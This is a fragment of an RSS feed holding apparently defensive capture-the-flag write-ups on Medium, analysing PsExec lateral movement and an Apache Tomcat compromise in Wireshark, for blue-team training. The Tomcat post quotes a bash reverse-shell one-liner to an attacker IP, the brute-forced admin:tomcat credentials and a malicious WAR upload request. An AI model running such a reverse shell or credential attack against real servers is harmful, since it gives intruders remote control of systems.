identified by analyzing packets where the victim communicates with public IPs. Specifically, an LLMNR query (similar to DNS for small environments) reveals the public IP:</li></ol><pre>250-p3plcpnl0413.prod.phx3.secureserver.net Hello Beijing-5cd1-PC [173.66.146.112]</pre><ol><li>Thus, the victim’s public IP is 173.66.146.112.</li></ol><h3>Key Takeaways</h3><p>This analysis demonstrates the attack’s lifecycle, from identifying suspicious traffic and verifying malicious files to analyzing data exfiltration and phishing methods. Understanding these patterns provides valuable insights into defending against similar cyber threats.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4c313e68beb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PsExechunt Lab]]></title>
            <link>https://medium.com/@halbsry340/psexechunt-lab-8222c19dc61e?source=rss-5c8597e6265c------2</link>
            <guid isPermaLink="false">https://medium.com/p/8222c19dc61e</guid>
            <dc:creator><![CDATA[Hassan Elbesry]]></dc:creator>
            <pubDate>Sat, 14 Sep 2024 12:35:01 GMT</pubDate>
            <atom:updated>2025-09-15T08:37:55.968Z</atom:updated>
            <content:encoded><![CDATA[<p>PsExechunt Lab</p><p>Link: https://cyberdefenders.org/blueteam-ctf-challenges/psexec-hunt/</p><p>Scenario: Our Intrusion Detection System (IDS) has raised an alert, indicating suspicious lateral movement activity involving the use of PsExec. To effectively respond to this incident, your role as a SOC Analyst is to analyze the captured network traffic stored in the : challeng<a href="https://cyberdefenders.org/blueteam-ctf-challenges/psexec-hunt/"> file</a> .</p><p>Firstly searching for PsExec it is a command-line tool used to execute processes on remote systems. It can be used for lateral movement in a network by allowing an attacker to run commands on remote systems. To detect PsExec in Wireshark, you can look for network traffic between the attacking and victim machines that may indicate the use of PsExec, such as unusual patterns of communication, specific command strings, or connections to known PsExec ports (TCP port 445).</p><p>I determined the IP address of the machine where the attacker initially gained access : 10.0.0.130 and the machine’s hostname to which the attacker first pivoted is Sales-PC he navigated through IPC$, ADMIN$ network shares .</p><p>After identifying the initial entry point, it’s crucial to understand how far the attacker has moved laterally within our network. Knowing the username of the account the attacker used for authentication will give us insights into the extent of the breach and it is : ssales<br>He requested psexesvc.exe search for it psexesvc.exe is a process associated with PsExec, a command-line tool that allows system administrators to remotely execute processes on other systems. It is part of the PsTools suite developed by Sysinternals.</p><p>He used ADMIN$ network share by psexec to install the service on the compromised machine this will help to know other affected systems . <br>He used IPC$ for communications firstly before navigating to ADMIN$ network share .</p><p>OK is this all what he did let’s find out use this filter “ip.src == 10.0.0.130 and tcp.port==445 “ to know the other machine’s hostname to which the attacker attempted to pivot and we found Marketing-pc .</p><p>Defensive measures :</p><ul><li>Disable the service when not needed .</li><li>Manage access to these network shares .</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8222c19dc61e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tomcat takeover Lab]]></title>
            <link>https://medium.com/@halbsry340/tomcat-takeover-lab-31054f3c1ad1?source=rss-5c8597e6265c------2</link>
            <guid isPermaLink="false">https://medium.com/p/31054f3c1ad1</guid>
            <dc:creator><![CDATA[Hassan Elbesry]]></dc:creator>
            <pubDate>Fri, 13 Sep 2024 09:00:02 GMT</pubDate>
            <atom:updated>2024-09-13T09:24:50.963Z</atom:updated>
            <content:encoded><![CDATA[<p>Tomcat takeover Lab</p><p>Scenario:-</p><p>Our SOC team has detected suspicious activity on one of the web servers within the company’s intranet. In order to gain a deeper understanding of the situation, the team has captured network traffic for analysis. This pcap file potentially contains a series of malicious activities that have resulted in the compromise of the Apache Tomcat web server. We need to investigate this incident further.</p><p>Download : <a href="https://cyberdefenders.org/blueteam-ctf-challenges/tomcat-takeover/">https://cyberdefenders.org/blueteam-ctf-challenges/tomcat-takeover/</a></p><p>Open wireshark, in statistics -&gt; converstion tab shows a series of requests across various ports, suggesting a potential scanning behavior from 14.0.0.120 , let’s filter out “ ip.src ==14.0.0.120&quot; this ip changed it’s destination port very much .</p><p>Lets do some OSINT I’ve used abuseipdb.com to know that the attack originated from the city of Guangzhou .<br>After identifying open ports in our webserver he navigates through multiple endpoints including admin panel on port 8080 , it’s obvious that he uses a directory enumeration tool to make these requests to all these endpoints in small time range specifically in one second, of course he got some 404 response codes , filter with “http.response.code==404&quot; follow http stream to see the user-agent header in this case it’s gobuster/3.6 tool .</p><p>After several 404 requests he was trying to uncover administrative interface I used this filter “http.response.code==200&quot; to see that if he did it and saw the that admin panel in the name of /manager and it requires login . I followed the http stream through multiple 401 unauthorized until I found that the right credentials with 200ok response (bruteforcing) he submitted it and it was base64 encoded “YWRtaW46dG9tY2F0&quot; so open terminal and decode it</p><p>$echo &quot;YWRtaW46dG9tY2F0&quot; | base64 -d and it’s admin:tomcat . All these requests was GET .</p><p>Our man is not finished yet , what is this POST request about lets dive in</p><p>POST /manager/html/upload;jsessionid=0DE586F27B2F48D0CA045F731E0E9E71?org.apache.catalina.filters.CSRF_NONCE=83EDF4E2462ECC725BAF342DD7A46974 HTTP/1.1<br>filename=&quot;JXQOZY.war&quot;</p><p>He uploaded a file named JXQOZY.war . A .war (Web Application Archive) file is a packaged file used to distribute a collection of JavaServer Pages (JSP), servlets, Java classes, XML files, tag libraries, static web pages (HTML and related files), and other resources that together constitute a web application. It is essentially a JAR (Java ARchive) file with a specific directory structure that can be deployed on any servlet/JSP container or application server like Apache Tomcat or Jetty.</p><p>It’s obvious that he successfully established a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the next packets I was able to determine the specific command he scheduled to run to maintain their presence . It requires a SYN-ACK flag set in the handshake its hex value =0×012 so combining it in filter with attacker’s IP</p><p>“ ip.src == 14.0.0.120 &amp;&amp; tcp.flags == 0x012 “</p><p>found the reverse shell command : /bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/14.0.0.120/443 0&gt;&amp;1&#39;</p><p>This command is attempting to create a reverse shell by connecting to IP address 14.0.0.120 on port 443. It uses a bash one-liner to establish the connection and redirect input/output streams to the network socket for interactive shell access.</p><p>Defensive measures:</p><ul><li>Block IPs with such activities like port scan and directory enumeration.</li><li>Access to admin panel must be from internal IPs only and use OTP codes</li><li>Disable unusual user-agent headers of known tools .</li><li>Disable outbound connections to unknown IPs .</li></ul><p>Summary :</p><p>Port Scanning lead to know open ports , through directory enumeration tool he found the admin panel and bruteforcing admin credentials getting access and uploaded a file to get a reverse shell .</p><p>Hope that it’s clear . Please comment for any questions, See you .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31054f3c1ad1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>